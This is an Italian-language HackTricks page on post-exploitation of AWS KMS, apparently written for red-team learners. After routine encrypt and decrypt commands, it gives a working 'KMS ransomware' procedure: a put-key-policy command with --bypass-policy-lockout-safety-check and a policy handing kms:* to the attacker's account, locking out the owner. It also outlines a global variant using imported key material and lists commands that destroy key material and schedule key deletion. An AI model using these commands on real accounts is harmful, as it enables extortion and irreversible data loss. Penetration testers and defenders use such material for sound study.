AWS - KMS Post Exploitation

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

KMS

Per ulteriori informazioni controlla:

pageAWS - KMS Enum

Crittografia/Decrittografia delle informazioni

  • Utilizzando una chiave simmetrica

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Utilizzando una chiave asimmetrica:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

Ransomware di KMS

Un attaccante con accesso privilegiato su KMS potrebbe modificare la policy di KMS delle chiavi e concedere al suo account l'accesso su di esse, rimuovendo l'accesso concesso all'account legittimo.

Successivamente, gli utenti dell'account legittimo non saranno in grado di accedere a nessuna informazione di qualsiasi servizio che è stato crittografato con quelle chiavi, creando un ransomware semplice ma efficace sull'account.

Si noti che le chiavi gestite da AWS non sono interessate da questo attacco, solo le chiavi gestite dal cliente.

Si noti anche la necessità di utilizzare il parametro --bypass-policy-lockout-safety-check (la mancanza di questa opzione nella console web rende questo attacco possibile solo dalla CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Nota che se modifichi quella policy e concedi accesso solo a un account esterno, e poi da questo account esterno provi a impostare una nuova policy per restituire l'accesso all'account originale, non sarai in grado di farlo.

Ransomware KMS Generico

Ransomware KMS Globale

C'è un altro modo per eseguire un Ransomware KMS globale, che coinvolgerebbe i seguenti passaggi:

  • Creare una nuova chiave con un materiale chiave importato dall'attaccante

  • Ri-cifrare i dati più vecchi cifrati con la versione precedente con la nuova.

  • Eliminare la chiave KMS

  • Ora solo l'attaccante, che ha il materiale chiave originale, potrebbe essere in grado di decifrare i dati cifrati

Distruggere le chiavi

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Si noti che AWS ora impedisce che le azioni precedenti vengano eseguite da un account esterno:

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated